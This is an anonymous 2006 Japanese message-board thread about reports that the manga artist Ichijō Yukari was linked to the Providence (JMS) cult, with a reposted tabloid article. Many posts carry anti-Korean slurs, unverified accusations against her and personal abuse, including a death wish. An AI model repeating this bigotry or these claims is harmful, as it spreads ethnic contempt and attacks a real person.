> てな訳で「気軽にソウル3日間」だ
>
> 集英社関係のえらいさんで通称一条の「ふぐパパ」の山田さん
> 年に二回はフグをおごってくれるんだ♪
> 山田さん「いいねえ韓国はギャンブルが出来るし。
> (韓国内で)夕食僕がおごりますよ」
>
> ↑引用ここまで
>
> そうか…集英社のえらいさんの男ども、この時点ですっかり骨抜きだったんだ…
> そりゃあね…作家なんか洗脳するの簡単ね…

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

161 :花と名無しさん:2006/08/03(木) 01:50:36 ID:???0
旦那と別れた理由が宗教関連なのかすぃら?

162 :花と名無しさん:2006/08/03(木) 01:56:25 ID:???0
>>161
さあねえ・・・どうなんだろ。
犬たちとの生活がなくなったこともあるのかな。

それより、過去に大物漫画家のからんだ事件とかって、その後どうなったのかの例が知りたい。
特に、その後も漫画を書く生活に復帰できたのかどうか。
すぐ復帰できたのか、日数が掛かったのか。
少女漫画の一部の作家しか読んでないから、教えて厨みたいでスマソ
どういうキーワードでググればいいのだろうか。

163 :花と名無しさん:2006/08/03(木) 02:00:39 ID:???0
大物漫画家のからんだ事件・・・そもそもそんなの聞いたことない。
写真のトレスで写真家から訴えられたくらいしか。
芸能界の麻薬がらみじゃあるめーし。

164 :花と名無しさん:2006/08/03(木) 02:05:57 ID:???0
小学館のトレパネーションが麻薬…復帰
集英社のアレが円光…復帰

大物じゃないなw

165 :花と名無しさん:2006/08/03(木) 02:06:31 ID:???0
ウン、全然大物じゃない

166 :花と名無しさん:2006/08/03(木) 02:07:49 ID:???0
いがらしゆみこ

167 :花と名無しさん:2006/08/03(木) 02:09:47 ID:dKMLepk50
韓流セックス教団教祖の鬼畜の所業

韓国発祥のセックス教団が、日本の女子大生に次々と教祖とのセックスを強要していたことが明らかとなり、
問題になり始めている。これまで100人を超す女子大生が毒牙にかかったというから、ショッキングだ。
この教団は「JMS」や「摂理」と呼ばれ、韓国人の鄭明析(61)を教祖に仰ぐカルト集団だ。
「統一教会の講師だった鄭が78年ごろにソウルで創設し、90年頃に日本へと進出。信者の獲得層を
一流大学の学生に絞り、関東は東大、一橋大、早稲田、慶応、上智、青学など。関西では京大、
同志社、神戸女子などの学生が信者となっています。勧誘の手口はサークル活動を隠れみのにし、
人間関係を築いた後に徐々に教義を説いていくのです」(ジャーナリスト・李策氏)

教祖の鄭は、しばしば来日し、「健康チェックをする」などと称しては、女性信者へのレイプを繰り返したとされる。
ゴムもつけずに処女を奪われた女性もいるというから鬼畜の所業だ。日本国内の信者数は約2000人とみられ、
教祖の女性信者に対するセックス強要が常態化しているという。
鄭は韓国の元女性信者から性的暴行を告発され、社会問題化した99年に国外脱出。ソウル地検が
強姦容疑で指名手配し、ICPO(国際刑事警察機構)加盟182カ国で国際手配された今も逃亡を続けている。
「この4月までは中国・鞍山に潜伏。現地で豪華別荘を購入し、日本からも女性信者を呼び寄せ、
ハーレム生活を満喫していました。鄭は背の高いスラッとした理知的な女性が好み。処女を絶対視し、
国内の被害女性も処女ばかり。勉強漬けで素直に生きてきたおとなしいタイプが被害に遭っています」(李策氏=前出)
ますますもって許せない男だ。
http://news.www.infoseek.co.jp/search/story/01gendainet02027564/%A5%B2%A5%F3%A5%C0%A5%A4/
【カルト】韓国カルト「摂理」「(中国の)別荘には毎週、20人から30人の日本人女性が送り込まれる」[07/31]
http://news18.2ch.net/test/read.cgi/news4plus/1154348749/

168 :花と名無しさん:2006/08/03(木) 02:10:38 ID:???0
>>166
原作者とのトラブルの件? あれって、しばらく漫画描けない状況になったの?

169 :花と名無しさん:2006/08/03(木) 02:10:52 ID:???0
ああ、その辺は大物かも。確信犯で、当事者同士のごたごたなだけで
余り干された印象はない。

170 :花と名無しさん:2006/08/03(木) 03:27:22 ID:???0
まあ、このてん末を漫画にしたら ネ申 だなw

171 :花と名無しさん:2006/08/03(木) 03:39:49 ID:???0
>>162
漫画家じゃないけど、花井愛子思い出した。

172 :花と名無しさん:2006/08/03(木) 03:57:08 ID:???0
まだ脱会してないってのはマズイな

173 :花と名無しさん:2006/08/03(木) 04:36:41 ID:???0
韓国に関わったらいつしかこういう事になるという
あの法則が発動しちゃったんだねえ。
丁度団塊世代か?

174 :花と名無しさん:2006/08/03(木) 05:02:39 ID:???0
>>173
あああ。。。法則か!
うかつにも、すっかりそれを忘れていたなw

175 :花と名無しさん :2006/08/03(木) 05:04:00 ID:7tMTy8WM0
この人まんが夜話で話すたび舌出す下品な人ですね

176 :花と名無しさん:2006/08/03(木) 05:10:38 ID:???0
>>171
花井愛子って自己破産した人?
買い物依存症だったんだっけ。

177 :花と名無しさん:2006/08/03(木) 05:14:56 ID:???O
現役信者だったのか 
つり広告ほぼトップ扱い 新聞にも広告載るし あぼーん記念眞紀子

178 :花と名無しさん:2006/08/03(木) 05:27:19 ID:???O
復活を信じてる。
でも、マネージャーや顧問弁護士がいるとしたら凄い無能。


179 :[特集]広告塔―― (1):2006/08/03(木) 05:30:05 ID:???0
 週刊新潮 2006年8月10日号P31〜33
〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜

[特集]韓国「ワイセツ教団」の広告塔――
「少女漫画の女王」一条ゆかりは「現役信者」!


韓国人教祖が女性信者に性的暴行を繰り返し
ていたと、被害者らが告発に及んで大騒ぎ
となっているカルト教団『摂理』。有名大学の
学生らを中心に今も信者が2000人はいる
というこのワイセツ教団の広告塔は、数々の
ベストセラーを連発して「少女漫画の女王」
と呼ばれる一条ゆかり氏(56)だった。しかも、
現役信者だとの指摘まで飛び出して……。

180 :[特集]広告塔―― (2):2006/08/03(木) 05:34:34 ID:???0
 日本では『摂理』と呼ばれるこのカルト教団は、1980年ごろ、鄭明析(61)なる韓国人が設立した
新興宗教団体だ。『JMS』あるいは『MS』とも称し、87年ごろから日本でも布教活動を開始。
またたく間に東大や京大、早稲田、慶応、青学など有名大学の学生らを勧誘し、現在では2000名ほどの
信者がいるとみられている。
 その鄭明析教祖は、かつては世界基督教統一神霊協会、いわゆる統一教会の幹部として活動していた。
「『摂理』と統一教会は、いくつかの点で非常に酷似しています」
 と、統一教会に詳しいジジャーナリストの有田芳生氏がこう指摘する。
「まず、スポーツや演劇などのサークルを装って勧誘する手法。そうやって最初に人間関係を築き、
その中から脈があるとみた学生に狙いを定めて教義を説く。また、教祖の性的暴行についても同じ。
初期の統一教会では、教祖である文鮮明が“血分けの儀式”と称して女性信者に性的暴行をしていたことが
問題になりましたが、摂埋も同じ。さらに教義内容も酷似してますし、合同結婚式も。要するに、
若い女性とのセックスが大好きな助平オヤジが、統一教会のシステムとテクニックを利用して
教祖を演じているだけです」
 実際、この教祖サマは、すでに韓国で女性信者への度重なる性的暴行が社会問題化し、99年に国外逃亡。
その後、01年には強姦容疑などで指名手配を受け、一度は潜伏していた香港で逮捕されたものの、
保釈中にまた逃亡。目下、国際手配されているという、レッキとした犯罪容疑者なのだ。
 その間、少なくとも国際手配を受ける02年までは密かにせっせと来日し、女子大生らを毒牙に
かけていたわけである。そうした性的暴行の被害者は、ざっと見積もっても100名は下ら ないという。        

181 :[特集]広告塔―― (3):2006/08/03(木) 05:38:24 ID:???0
 もっとも、そんな犯罪者を救世主と崇めるカルト教回に入信すること自体が、普通の感覚ならば
信じ難いこと。が、信者の脱会を支援している渡辺博弁護士によれば、
「カルトというのは、その実態を知らなければ誰でも引っかかるものです。狙われたら、
100人が100人とも入信してしまうのが カルトなんです」      
 と言うし、先の有田氏も指摘した通り、勧誘方法が実に巧妙で、例えば、    
「2年半前、駒場キヤンパスで友達とサッカーをしていた時、男女二人組に声をかけられました。
可愛くてカッコいい男女で、お洒落な感じだし、友達になりやすいタイプだったんです。
で、自介らもサッカーやってるから、今度、サークルの集まりに来ないかって誘われまして。
じゃあ友達と一緒に行きますって言ったら、いや、君に来てほしいんだと。それで1週間後に行くと、
ほとんどが現役の東大生。中には卒業生でゴールドマン・サックスなど華やかな外資系に勤めてる先輩も
いました。そこで何だか仲良くくなっちゃって。それで集会所にもよく出入りするようになったら
、2力月後に突然、一緒に聖書を勉強しようって言われたんです」(東大工学部男子)
 という具合に、当初はカルト教団の正体を徹底的に隠し通すのが常套手投。そして、友人としての
信頼関係を利用しつつ、徐々に教義を吹き込んでいく。
 そんな過程で意外な有名人がいた場合、信用度と安心感が増し、さらに“有名人と知り合いになれる”と
いう心理が働くのは道理。いわゆる広告塔だが、このワイセツ教祖の場合、女流漫画家として超有名な
あの一条ゆかり氏が、まさにそれだったというのだ。


182 :[特集]広告塔―― (4):2006/08/03(木) 05:39:09 ID:???0
   芸術祭で審査員も

 一条ゆかり――。68年、集英社の第1回りぼん新人漫画賞に準入選し、本格デビュー。
以後、少女コミック誌「りぼん」を舞台に次々とヒット作を連発してきた。代表作は、富豪令嬢、
子息の高校生6人が中心のアクション・コメディ『有閑倶楽部』や、フランスの富豪令嬢と幼なじみとの
悲恋がテーマの『砂の城』など。前者の単行本は現在までに19巻出ており、各巻の初版発行部数は業界でも
異例の70万部前後。同シリーズだけで、すでに累計発行部数は軽く2000万部を突破しているという。
テレビドラマ化された作品も数多い。
「少女漫画家は芸術家と職人の2タイブいますが、彼女はまさに職人。読者のニーズに合わせた題材や
作風の漫画をコンスタントに描き続けられる。まさに少女漫画の女王です」(評論家の呉智英氏)
 そんな一条氏の名前が『摂理』の広告塔として浮上したキッカケは、先月29日に前出の渡辺弁護士らが
開いた記者会見だった。
「会見内容は、教祖から性的暴行を受けた複放の元信者らが刑事告訴を検討しているという話でした。
さらに渡辺弁護士が、有名な少女慢画家と元Jリーガーらが広吉塔になっていたと明かしたんです」
(社会部記者)
 直後から、ネット上ではその漫画家を特定する議論が噴出。複数の名前が挙がり、コトの性質上、
その広告塔たちの責任を問う厳しい意見まで飛び交う。そしてついに、一条ゆかり氏と断定する
書き込みまで登場したのである。

183 :[特集]広告塔―― (5):2006/08/03(木) 05:40:19 ID:???0
「ええ、我々が認識している広告塔とは、確かに一条ゆかり氏のことです」
 と、脱会信者の支援活動をしている関係者がこう明かす。
「元信者たちの話を総合すると、彼女は00年ごろにはすでに信者になっており、部内の札拝施設に毎週、
熱心に通っていた。また、教団には“芸術祭”と呼ばれる発表会があります。勧誘手投としてダンスや
演劇、ゴスペルなどのサークルを隠れ蓑にしていますが、それらの発表会に学生を呼び込んで、新たに
勧誘するわけです。一条さんは01年2月の芸術祭で審査員を務めていたし、ゴスペルコンサートを
プロデユースしたこともある。元信者の中には、一条さんほどの著名人が入信しているのだから大丈夫と
思った、と述懐している人もいるんです」
 しかも、一条氏の作品の中に、このカルト教団の教義を彷彿とさせるものまであると、こう続けるのだ。
「それは、ちょうど同じ時期に描かれていた『天使のツラノカワ』という漫画です。これほキリスト教の
用語が多用されている作品なのですが、描かれているのは明らかに『摂理』の世界観です。キリスト教の
素養のある人が読むと、これは正規のキリスト教の概念ではないとすぐに分かります。逆に、『摂理』の
教義や理念を知っていれば、たちまちこれが『摂理』の教えに基づいていることが分かるでしよう」
 主人公は、牧師の娘で世間知らずのクリスチャン。彼女が周囲の男性らと巻きおこす恋愛騒動を、
コミカルに描き出した人気作品だ。コミックで全5巻。「一条さんは、とりわけ若い女性たちにとっては
絶大な人気を誇る漫画家。そんな彼女が信者だったら、女性たちにとってのインパクトは大きいでしょう。
しかも、教団があの作品を“これが私たちの教えだ”という形で利用していた可能性だってあります」
 さらに、元信者らへの聞き取り取材を続けているジャーナリストが、こんな証言までするのだ。
「ある有力な支援者が、一条さんは現在も脱会しておらず、現役信者のままだと明言してました。
ただし、恐らく本人は否定するだろうとも」


184 :花と名無しさん:2006/08/03(木) 06:34:33 ID:poa/CJls0
これからどうすんだ?このババア

185 :花と名無しさん:2006/08/03(木) 06:52:45 ID:???0
>>178
どうやらこの漫画家は、自分の本を出している出版社側を敵にしてしまったようだね。

186 :花と名無しさん:2006/08/03(木) 07:39:34 ID:???0
週刊新潮買ったけど天ツラ文庫全3巻の表紙までw
そして集英社の広報がインタビューで「天ツラの為に教団を何度か取材して
執筆後も行っていましたって・・・ここ3、4年は行ってない。
騒ぎに巻き込まれて本人も迷惑してると本人も言っている」っていうなら
本人に言わせたほうがいいのに。
しかしあんなデカイ見出しで3ページ。天ツラ紹介記事かと思ったw

187 :花と名無しさん:2006/08/03(木) 07:45:30 ID:???0
集英社の広報の話まで出たのか。
しかも教団に取材ってすげーな。

188 :花と名無しさん:2006/08/03(木) 07:51:34 ID:???0
>>186
え?「天ツラの為に取材」という理由にしたのか?
なぜ新興宗教の教団に取材したのか、普通の人は疑問に思うのに…。
訳わからん理由は、余計な不信感を生みそうなんだけど…。
日本には、欧米から伝道されたキリスト教の教会・寺院が
多少あるんだから、そっちに取材に行くのが普通なのでは?

189 :花と名無しさん:2006/08/03(木) 07:57:35 ID:???O
これで天ツラは完全にあぼ〜んだな
それはそれとして、
他の作品は残して欲しいと思うのは甘いでしょうか?特にりぼん時代の

190 :花と名無しさん:2006/08/03(木) 07:57:37 ID:???0
そうだよね。
普通ならまともなキリスト教の方に行くはずなのに、
どこがどうしてこの手の怪しいところに行ったんだろう?
最初から自分で調べて選んだと考えるより、誰かの紹介が
あって行くと考えるのが自然だよね。

191 :花と名無しさん:2006/08/03(木) 08:03:48 ID:???0
>>186
でももしかしてもしかして、それが本当なら御大大迷惑だね

192 :花と名無しさん:2006/08/03(木) 08:04:23 ID:???0

新潮より

当の本人は執筆で多忙だからと代わって集英社の広報担当が
「確かに『天使のツラノカワ』執筆のため、聖書とキリスト教を
勉強しようと教団を何度か取材し、執筆後も行っていました。
でも作品が教団の宣伝でないことは読めばわかる。
教団の機関誌に掲載されてたのは知らなかった。
ここ3、4年は行っていない。
騒ぎに巻き込まれて迷惑してる、と本人は言っています」
と、ご本人のコメントを読みあげるのみ。

と、書いてあった。


193 :花と名無しさん:2006/08/03(木) 08:08:46 ID:???0
聖書とキリスト教を勉強するのに
普通のキリスト教じゃなくて
韓国系キリスト教に行くというのがまず不思議。
集英社のコメントも全然援護になってない。
こりゃ、集英社もグルだな。

194 :花と名無しさん:2006/08/03(木) 08:12:41 ID:???0
む…作品の不出来について散々このスレで御大を叩いてきたが、
よもや本人の漫画制作&エッセイ以外のところで
御大が激しく叩かれる日が来るとは…。

195 :花と名無しさん:2006/08/03(木) 08:12:50 ID:???0
>>176
花井愛子は自分の稼ぎを父親名義にしてたら
父親が死んだ後に異母兄弟が出てきて遺産もってっちゃってローンが払えなくなって破産したんだったと思う
漫画にも書いてた
http://www.medianetjapan.com/town/book_newspaper/ln2ch/mentai_kako/977182911.html

196 :花と名無しさん:2006/08/03(木) 08:13:54 ID:???0
勧告系のキリスト教って時点で、統一教会とか思い出してすんごい胡散臭く思うよね、
普通の人は

197 :花と名無しさん:2006/08/03(木) 08:17:23 ID:???0
プライドも、御大の漫画の中では劣化してるとはいっても
コーラスの中では1〜2を争う看板漫画だったよね。
まさか韓国系カルト宗教でミソつくとは…。
だいたい、欧米大好きゴージャス大好き美形大好きの御大と
キムチ臭くてブサエラ<丶`∀´>ばっかりの韓国とは
合わないよ。どっから価値観が変になったんだろう。

198 :花と名無しさん:2006/08/03(木) 08:28:34 ID:???0
「一条ゆかりの食生活」の中の韓国旅行は、それほど親韓な感じでは
なかったよ。ソウルの印象を「新宿と錦糸町を混ぜたようなところ」とか
言ってたし。

「韓国大好き男」という知り合いがいるみたいだし、そういうあたりの
ラインから伝が出来たんだろうか?

199 :花と名無しさん:2006/08/03(木) 08:31:16 ID:???0
ぱっと見だけでも、天ツラとこのインチキ宗教と
言ってること全く共通してないと思うんだけどな・・・。
以前どっかで本人書いてた、天ツラ描いてる時接触してきた宗教ってここだったんだな。
あの御大だから論破したみたいだけど
(この人が誰かを信奉するなんてありえないだろ)
それだけでも名前を利用するのが宗教の常套手段だからねぇ。
宗教の勧誘にあったら、絶対議論しちゃいけないんだよ。
パーティーとかお茶会とかちょっとそこまで、にも行っちゃったら
それだけでもう仲間扱いだし。
御大の場合、好奇心と挑戦気分でのりこんで行きそうだからなぁ。

200 :花と名無しさん:2006/08/03(木) 08:32:53 ID:???0
>教団の機関誌に掲載されてたのは知らなかった

てのは一条ゆかりが知らなかったのか集英社が知らなかったのかどっちだろうね?

勧告系ってのも知らなかったのかも。
本名じゃなくて日本名名乗ってる人多いし

201 :花と名無しさん:2006/08/03(木) 08:43:43 ID:???0
>>192
集英社の広報担当は
御大から「摂理で取材して」って言われて行ったのか?

なんかその辺よく分からない書き方だね。新潮の記事

202 :花と名無しさん:2006/08/03(木) 08:45:48 ID:???0
>>201
683 名前:花と名無しさん 投稿日:2006/08/03(木) 08:30:19 ID:???0
>>682
一条スレに詳しく記事書いてる人や読んだ人の報告あったが、
広報担当が一条本人の代わりに取材に行ったと回答しているようだが?


684 名前:花と名無しさん 投稿日:2006/08/03(木) 08:37:44 ID:???0
>>683
違う違う。
広報が一条の代わりにした事は「コメントを出すこと」
一条のコメントを広報が代わりに読み上げたってこと。

203 :花と名無しさん:2006/08/03(木) 08:48:10 ID:???0
>>202
ああ。そうか。
サンクス

204 :花と名無しさん:2006/08/03(木) 08:48:08 ID:???0
掲載されてるのを知らなかったってのはウソだな。
信者とかのファンレターとかで知る機会はある。

205 :花と名無しさん:2006/08/03(木) 08:50:02 ID:???0
199 ヒッシ

206 :花と名無しさん:2006/08/03(木) 08:51:28 ID:???0
集英社のコメントを信じるのなら
ここ4年くらいは行ってないとはいえ
摂理とどっぷりだったことは事実なんですね。

207 :花と名無しさん:2006/08/03(木) 08:54:02 ID:???0
>>206
そうだよね。
取材に行く前から付き合いがあったのかどうかは知らんけど。


208 :花と名無しさん:2006/08/03(木) 08:56:40 ID:???0
今まで御大に苛められた大勢の漫画家たちが
今頃ザマーミロと思ってるんだろうなあ

209 :花と名無しさん:2006/08/03(木) 09:09:33 ID:???0
韓流婆化じゃなくてカルトだったのか・・・・

210 :あぼーん:あぼーん
あぼーん

211 :名無しんぼ@お腹いっぱい:2006/08/03(木) 09:30:15 ID:???0
聖書抱えたカッコイイ男から誘われたんじゃないの?
取材とか言えば親切にしてもらえるし
韓国系とか、教会の宗派とか深く考えなさそう

212 :花と名無しさん:2006/08/03(木) 09:36:17 ID:???0
>>209
韓国系カルトだから、韓流婆化も含んでる。
法則オソロシス

213 :花と名無しさん:2006/08/03(木) 09:36:48 ID:???0
少女漫画界のゴッドマザーだからねぇ
和田アキヲみたいな権力

214 :花と名無しさん:2006/08/03(木) 09:40:09 ID:???0
一条ゆかりがハチクロをウザがってたって本当?

215 :名無しんぼ@お腹いっぱい:2006/08/03(木) 09:51:41 ID:???0
若い女はぜんぶウザイ

216 :花と名無しさん:2006/08/03(木) 09:54:15 ID:???0
>>214
御大は自分より売れてる人が常に大嫌い

217 :花と名無しさん:2006/08/03(木) 09:57:57 ID:???0
本人と集英社のコメントから考えて
天ツラ連載→「どっかの宗教団体からツッコミがきたら……やはり来ました突っ込みが」
ってのが摂理で、それで「もし解らなければどうぞ私達の教会においで下さい。」と
言われるままにほいほい出掛けていき、勧誘の連中と親しくしたり著名人ってことで
審査員やったりしたんだろう。その辺は教えてもらったお礼のつもりだったんだろうね。

十字式治療院もその頃体験してエッセイ漫画のネタにした。
そしたら治療院サイドが本人にはどうかは知らんが集英社には無断で
宣伝のパンフレットに使っていた。この時点で広告塔になってるね。

でも結局あまりの女王っぷりに教団からも手を焼かれ、>>23
ちょうど「天ツラ」の連載も終わって
疎遠になって2〜3年もしたところで今回の騒ぎで祭り上げられたと。

うーむ。微妙だな〜。

218 :花と名無しさん:2006/08/03(木) 09:59:39 ID:???0
一条教をおこせばいいのに

数年後↓
【カルト】和製カルト「縁理」「(ヨーロッパの)別荘には毎週、20人から30人の日本人男性が送り込まれる」[07/31]

219 :花と名無しさん:2006/08/03(木) 10:00:02 ID:???0
プライド内でも媚韓描写があったから、疎遠になったというのもウソくさい。

220 :花と名無しさん:2006/08/03(木) 10:07:28 ID:???0
>>217 >>199
> 一条さんが摂理に騙されていたのだとしても
> 一般人と一条さんは社会的地位も影響力も格段に違うのですから
> 女子大生と同じように『騙された』が免罪符にはなりません。
> 社会的地位のある者こそ、率先して過去の過ちを認め教団に対して
> 正式な抗議活動をするのが適切だと思います。
> そういった行動を取らないのであれば
> 一条さんのの考えは他者が犠牲になっても自分さえ
> 助かれば良いと言う極めて自己中心的なものと捉えられるでしょう。

221 :花と名無しさん:2006/08/03(木) 10:07:34 ID:zbsTENn80
師ねばいいのに

222 :花と名無しさん:2006/08/03(木) 10:14:16 ID:???0
これが媚ハワイなら文句言わないだろうに・・差別だよ。
って、一瞬考えたけどハワイ人が起こした問題に巻き込まれるって聞かないな。
韓国はさわっちゃいけない国かも。リスクでかすぎ

223 :花と名無しさん:2006/08/03(木) 10:23:30 ID:???0
媚韓描写ねえ。

・受付嬢が『これから韓国旅行に行くの』に萌が『いいなー韓国』と返す世間話

・塩が留学先でトスカのオーディションを見学、韓国人学生を
『物凄くパワフル、あの体形でどうしてこんな声が出せるんだろう』と評価、
しかし教授には『パワーだけじゃ飽きられる』と言われドイツ人のマレーネが
受かる。

これって「媚びる」って程なの?
他に『プライド』に韓国って出てきてたっけ?

224 :花と名無しさん:2006/08/03(木) 10:24:31 ID:???0
媚ハワイも多少は文句言われるよ。
よくある留学生の欧米かぶれみたいな
相手国をほめるために日本をくさすのは
やっぱりいいもんじゃないからね。

ただ、媚欧米は日本にないゴージャスさを求めるみたいで
心情としてわからなくもないんだけど、
媚韓だと自分の美意識が拒否するってのはある。
だって韓国って美しくないんだもん。

225 :花と名無しさん:2006/08/03(木) 10:37:24 ID:???0
>媚韓だと自分の美意識が拒否するってのはある。
>だって韓国って美しくないんだもん。

確かに。
不思議なくらいに美しさが見出せない。


226 :花と名無しさん:2006/08/03(木) 10:40:34 ID:???0
媚韓描写は読み返して見ると確かにあったけど
読んでる時は脳がスルーしてたな。

テレビでペッが出たり、ジウが出たりすると
パッとチャンネル変えたり、脳がスルーするように。

227 :花と名無しさん:2006/08/03(木) 10:44:50 ID:???0
姪がモランボンで料理習ってるとか書いてあったこともあったけど。
姪の旦那がそっち方面だったりして?

228 :花と名無しさん:2006/08/03(木) 10:45:55 ID:???0
ヨーロッパとかアメリカとかをもってきて
過剰に持ち上げてても、痛いなーコンプレックス丸出しだなー
とは思うけど違和感は感じない。
韓国は自分の中の少女マンガのイメージとはズレてるんだよね。
なんつーか、場違い。
痛いとか以前に少女マンガの世界と合わない。
韓国もちだしても羨ましいとか憧れるってのがないしなー



229 :花と名無しさん:2006/08/03(木) 10:46:32 ID:???0
>『これから韓国旅行に行くの』に萌が『いいなー韓国』と返す世間話
世間一般にこれが多数派の会話だとは…
特に本物志向でお洒落好きの女の子だと。
ギャンブルやお姉ちゃん好きのおっさん同士の会話や、
パチ物買いのおばさん同士の会話ならわかるけど。
そして行き先が台湾ならまだグルメ旅行かと理解できるけど。

少女漫画にこの台詞出てきて一瞬「(゚Д゚ )ハァ?」と思った人の方が多いと思う。

230 :花と名無しさん:2006/08/03(木) 10:51:47 ID:???0
>>223は、だいぶはしょって書いてるけど(印象操作乙)
あれはどうみても媚韓描写だったよ。

二ノ宮知子の漫画で
額や背中に小さく切ったサロンパスを貼っているような
農家のバアチャン連中が
「韓国であかすりにいくオホホホ」「いいわねー韓国ー」
と言ってるのには、全然違和感を感じなかったし
媚韓とも思わなかったけど
一条漫画の場合、ゴージャスな女性が韓国が大好きな会話を
してたからねぇ…。

読んだ当時違和感バリバリだったけど
「きっと、もう御大は最近の流行にはついていけなくなって
 韓流がお洒落で流行に合ってるんだと思ってるんだね。
 老化現象だから可哀相だし、つっこんじゃいけないんだコレ…」
と思ってこのスレでは私はあえてつっこまなかった。

231 :花と名無しさん:2006/08/03(木) 10:59:02 ID:???0
御大はエステ、あかすり、マッサージ大好きだからなぁ

232 :花と名無しさん:2006/08/03(木) 11:05:28 ID:???0
プライドはあんまり面白く無いけど、この状態での
打切りは困るなあ。

233 :花と名無しさん:2006/08/03(木) 11:10:51 ID:???0
有閑倶楽部が大好きでそれしか読んだことないけど、
これまでの一条ゆかり漫画は絶版になっちゃうの?
もしそうなった時のために今のうちに買っとけっていう漫画はありますか?

234 :花と名無しさん:2006/08/03(木) 11:19:42 ID:???0
宗教ごときで絶版になるような小物じゃないよ。

235 :花と名無しさん:2006/08/03(木) 11:30:35 ID:???0
心配なら『天使のツラノカワ』買っといたら

236 :花と名無しさん:2006/08/03(木) 11:36:17 ID:???0
>>230
> 「きっと、もう御大は最近の流行にはついていけなくなって
>  韓流がお洒落で流行に合ってるんだと思ってるんだね。
>  老化現象だから可哀相だし、つっこんじゃいけないんだコレ…」

ちょwwおまwwwさりげなく失礼なことたくさん書いてるなww

237 :花と名無しさん:2006/08/03(木) 11:38:51 ID:???0
援交で全国的に祭りになるほど取り上げられた
世紀末リーダーたけしの島袋も
いつのまにかチャッカリ集英社の青年誌で復活してたし
セックス(実際はレイプ、売春)カウンセラーの
キムミョンガン(槙村さとるの夫)をヤングユーで連載させたり
集英社ってモラルないから
一条がSEXカルト教団の広告塔でも
クビにしないってことはありえるかもね。


238 :花と名無しさん:2006/08/03(木) 11:39:29 ID:???0
>『これから韓国旅行に行くの』に萌が『いいなー韓国』と返す世間話
受付嬢はあんなボロアパートに住むような子なのであんまりゴージャスな
旅行行ってると違和感感じる。有森さんとかが言ってたらヘンだけど、
庶民の女の子って描写なんだと思っていたよ。

239 :花と名無しさん:2006/08/03(木) 11:40:57 ID:???0
>>230

あの受付嬢と萌がゴージャスか?? ホントにプライド読んでる?
水商売のおばちゃんに保証人になってもらってようやく借りられた
ボロアパートの住人の会話なんだから、貧乏臭くて韓国に似合いじゃんw

むしろあれ読んだ時一流会社の受付嬢なのになんでこんなボロアパートに
住んでるんだろ、萌に情報を伝えるために親しくさせるためなんだろうけど
御大ご都合主義にも程があるよと思ったものだ。


240 :花と名無しさん:2006/08/03(木) 11:42:30 ID:???0
ちんたら書いてたら>>238にかぶったorz

241 :花と名無しさん:2006/08/03(木) 11:43:18 ID:???0
庶民でも韓国なんて行かない…_| ̄|○

242 :花と名無しさん:2006/08/03(木) 12:00:09 ID:???0
もう60才近い婆漫画家が、韓国やエロカルトにはまり
はしゃいでるのが痛いし気持ち悪い

243 :花と名無しさん:2006/08/03(木) 12:02:55 ID:???0
はっきり言って韓国など大嫌いな私ですが
このスレの祭り前からの住人としてこれだけは言いたい。

萌がゴージャスと評される日が来るとは思わなかった。
ハライテーーーーーーーw

244 :花と名無しさん:2006/08/03(木) 12:07:34 ID:???0
>>192
>当の本人は執筆で多忙だからと
一条! おめー、コトの重大性がわかってんのんかよ!・・・つか、直接出て行きたくない
ための逃げ口上ですね。
とにかくこれは、心証悪いなー。何が御大だ、クズ!(゚Д゚#)

245 :花と名無しさん:2006/08/03(木) 12:12:14 ID:???0
一条さんがカルト宗教の手下だったなんてショックです

246 :花と名無しさん:2006/08/03(木) 12:15:09 ID:???0
その萌ってキャラが貧乏人でもゴージャスでもどうでもいい。
一条自身が韓国好きって思いをキャラにしゃべらせた、というだけの話だろ。
本人が変態犯罪韓国教団に入信してたんだから
漫画のキャラがポロっと韓国のネタくらい言うのは当然。



247 :花と名無しさん:2006/08/03(木) 12:19:51 ID:???0
からかいや嘲笑を含むとはいえ
今だに「御大」とかw笑えるw
信者はマジで言ってそうなのが、よけいに可笑しいね

248 :花と名無しさん:2006/08/03(木) 12:28:20 ID:???0
あーあ、どうでもいいだってさ。
つまり「主要キャラクターが貧乏かゴージャスかもわからない程度にしか
読んでいませんが媚韓描写に決まっています」ってことね。
批判する人間が筋通ってないとかっこわるいね。

私は別に作者をかばって言ってるんじゃないよ。
今回の件では正式コメントを出して欲しいとも思うし
社会的責任はこの際取るべきだとは思うね。

でもだからこそこっちが言いがかりはつけたくないと思う。
言いがかりが大のお得意な某国と同じ立場に堕ちたくはないからね。

249 :花と名無しさん:2006/08/03(木) 12:30:24 ID:???O
新潮見たけど、次号は原稿が上がれば、
フツーに載っていそう。
または1ページ程度釈明コメントが載るか。

250 :花と名無しさん:2006/08/03(木) 12:34:48 ID:???0
つか摂理スレでやればいいのに

251 :花と名無しさん:2006/08/03(木) 12:38:38 ID:???0
だって一条が摂理に入ってたんだから、一条スレで話題出るのはあたりまえじゃん

252 :花と名無しさん:2006/08/03(木) 12:40:40 ID:???0
初めて顔見たけど
気持ち悪い顔してるね

253 :花と名無しさん:2006/08/03(木) 12:43:52 ID:???0
このままコーラスに普通に載ると、しゃれにならんよねー
釈明無しだとまた倍叩かれるだろうし。
編集部ももうちょっとうまくプロデュースしてやんないと
永遠に叩かれ続けるよ。

254 :花と名無しさん:2006/08/03(木) 13:00:14 ID:???0
>>251
女王気取りででかい態度なのが鼻につく一条ゆかりを切るのに
編集の方も渡りに船だったりして(w

255 :花と名無しさん:2006/08/03(木) 13:02:31 ID:EAeembQT0
ベテランはドキュソになったり教祖になったり宗教に走ったり
大変だ(´・ω・`)… 昔の有閑は面白かったのに。

256 :花と名無しさん:2006/08/03(木) 13:08:34 ID:???0
プライドもつまんないしね…昔ファンだった主婦相手って感じだし。
今の新しい読者がつくようなパワーもなにもないもんね。
昔の大御所ってあつかいにたいへんなだけで、読者にも会社にもメリット
あるのかな。

257 :花と名無しさん:2006/08/03(木) 13:16:01 ID:???0
次号いきなり最終回だったりしてw
波に飲まれた塩を身を挺して助ける欄。
負けたよ・・・と去っていく神野
MRSも売れてめでたしめでたしって

258 :花と名無しさん:2006/08/03(木) 13:17:02 ID:???0
MRS……

259 :花と名無しさん:2006/08/03(木) 13:23:48 ID:???0
御大、毛が薄くなってるよね・・・。
年寄りのロングってキツイと思う

260 :花と名無しさん:2006/08/03(木) 13:27:41 ID:???0
>>257
名作かも〜

>257が原作やってあげて
